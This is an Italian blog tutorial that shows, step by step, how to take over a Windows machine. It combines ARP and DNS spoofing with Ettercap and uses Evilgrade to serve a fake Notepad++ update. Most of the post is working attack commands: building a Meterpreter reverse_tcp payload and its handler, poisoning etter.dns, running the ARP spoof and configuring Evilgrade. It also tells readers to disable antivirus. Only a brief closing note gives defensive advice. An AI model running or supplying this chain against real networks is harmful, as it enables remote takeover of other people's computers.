[teaser]In questo articolo parliamo di DNS Spoofing ed Evilgrade: ovvero, come ottenere il totale controllo di una macchina![/teaser]

Finalmente!

Sono un po’ in ritardo per il nostro quarto appuntamento ma ho avuto davvero troppi impegni e… Insomma, sapete come gira il mondo! Oggi volevo introdurvi un bellissimo tool che risale sì al vecchio 2010 ma che si mantiene ancora vivo grazie alla sua semplicità (dovuta all’utilizzo di moduli facilmente modificabili e aggiornabili) e al suo grande potere. Sto parlando di Evilgrade.

Evilgrade, dice il sito degli sviluppatori, è un framework modulare che ci permette di trarre vantaggio da scadenti implementazioni dei processi di aggiornamento iniettando falsi aggiornamenti (“It is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates.”).

Per poter far funzionare questo tool dovremo prima effettuare un attacco di ARP Spoofing e poi di DNS Spoofing.radiation DNS sta per Domain Name System (sistema dei nomi a dominio) ed è un sistema usato per risolvere (convertire) i nomi dei nodi della rete in indirizzi IP e viceversa. Per connetterci ad un sito web dobbiamo per forza conoscere il suo indirizzo IP ma mantenere una tabella nomi-indirizzi sulla nostra macchina sarebbe praticamente impossibile così dobbiamo appoggiarci a dei server (nessuno contenente la mappa completa ma in grado di comunicare tra di loro per scambiarsi dati). La macchina richiedente effettua una richiesta ad un server DNS per conoscere un indirizzo a partire dal nome, il server DNS risponde con l’indirizzo IP associato al nome della richiesta.

Quello che andremo a fare oggi è quindi far credere ad una macchina vittima che il MAC del router è il nostro così da poter intercettare tutte le comunicazioni tra vittima e router (quindi anche le richieste DNS, questo è l’attacco di ARP Spoofing), noi risponderemo alle richieste DNS, solo per determinati indirizzi, con delle risposte false (DNS Spoofing), ad esempio dicendo che l’IP di un indirizzo web corrisponde al nostro. La macchina vittima, cercando di visitare un indirizzo per cui ha ricevuto una risposta DNS falsata, comunicherà con la nostra macchina anziché con quella che aveva richiesto. notepad_plus_plusEvilgrade entra in gioco qui creando un falso server facendo credere nella presenza di aggiornamenti ed inviando un payload anziché un aggiornamento.

Avremo bisogno di Ettercap (installato di default sulla BackTrack), Evilgrade e di Notepad++, in particolare della versione 5.8 perchè non richiede ulteriori configurazioni di Evilgrade in quanto il modulo di default lavora proprio con questa versione.
Prima di tutto scaricatevi ed estraete Evilgrade da qui.

Scaricate e installate Notepad++ (versione 5.8) sulla macchina vittima da qui.

Siamo pronti, ecco una tabella di marcia per il programma di oggi:

[fancy_numbers]

  1. Creare un payload e un handler.
  2. Effettuare un ARP Spoofing e un DNS Spoofing.
  3. Far credere a Notepad++ che è presente un aggiornamento.
  4. Far scaricare ed eseguire a Notepad++ il nostro payload
  5. Ottenere completo e illimitato accesso alla macchina vittima.

[/fancy_numbers]

Cominciamo!

Passo 1: creazione di un payload e di un handler.

Spostiamoci nella cartella di Evilgrade e creiamo un payload da mandare alla vittima al posto dell’aggiornamento:

# msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=8080 X > agent.exe

Questa è una configurazione base, il payload non è codificato e sarà facilmente individuabile dagli antivirus (se ne avete disabilitateli momentaneamente sulla macchina vittima), nel prossimo appuntamento vedremo come mascherare questo payload in modo da essere a prova di antivirus. Il comando crea un payload di tipo reverse così da bypassare un eventuale firewall (sarà la macchina vittima a richiedere una connessione con la nostra dove metteremo un “handler” in ascolto).

Lanciamo ora un handler, ovvero un processo in grado di gestire l’esecuzione del nostro payload una volta avviato sulla macchina vittima:

# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=8080 LHOST=0.0.0.0 E

Passo 2: ARP Spoofing e DNS Spoofing.

Per prima cosa dobbiamo configurare il plugin di Ettercap chiamato etter.dns per il DNS Spoofing inserendo l’indirizzo del quale dare una falsa risposta DNS (per la BackTrack è in “/usr/local/share/ettercap/etter.dns”). Notepad++ 5.8 si connette a “notepad-plus.sourceforge.net” per cercare aggiornamenti:

# echo "notepad-plus.sourceforge.net A 192.168.1.6" >> /usr/local/share/ettercap/etter.dns

192.168.1.6 è il mio indirizzo IP, cambiatelo con il vostro! Quando la macchina vittima cercherà l’indirizzo IP di “notepad-plus.sourceforge.net” riceverà come risposta il nostro indirizzo IP.

Lanciamo l’ARP Spoofing con Ettercap:

#  ettercap -Tq -M arp:remote -i wlan0 /192.168.1.3/ /192.168.1.1/

wlan0 è il mio dispositivo di rete, 192.168.1.3 è l’indirizzo della macchina vittima, 192.168.1.1 è l’indirizzo del router. Questi due indirizzi sono fondamentali per la riuscita dell’arp spoofing.

Una volta avviato digitiamo “p” e scriviamo il nome del plugin da avviare: “dns_spoof”. Aspettiamo un paio di secondi e siamo pronti alla parte finale!

Passo 3: Evilgrade!

Gli attacchi sono cominciati, siamo pronti per avviare Evilgrade:

# ./evilgrade

Configuriamo il modulo di Notepad++:

# config notepadplus
# set agent ./agent.exe
# start

evilgrade
Se volete vedere come sono fatti i moduli, modificarli o aggiornarli non dovete fare altro che andare a vederli nella sottocartella “modules”, per questo esempio il file di configurazione di default è perfetto!

Ora andiamo sulla macchina vittima, lanciamo Notepad++ e facciamo partire la ricerca aggiornamenti (dal menu “?”) e seguiamo la procedura per aggiornare, ci verrà chiesto di chiudere Notepad++ per permettere l’aggiornamento e non accadrà più nulla (a parte un avviso dell’antivirus in caso non abbiate disabilitato come vi ho detto prima, in questo caso disabilitatelo e rilanciate l’aggiornamento di Notepad++). Torniamo alla nostra macchina d’attacco e noteremo che si è aperta una shell di meterpreter da cui potete fare molte, molte ma proprio molte cose, avete il controllo completo della macchina!

meterpreter_sessionConclusioni…

Morale della favola? Gli aggiornamenti è meglio farli su una rete sicura (quella di casa vostra magari) stando attenti di controllare che nelle tabelle ARP (con il comando “arp -a”, sia su linux che su windows) ci sia solo un valore per l’indirizzo MAC del vostro router, o usare programmi che lo facciano al posto vostro 😉

Il vostro Rootring!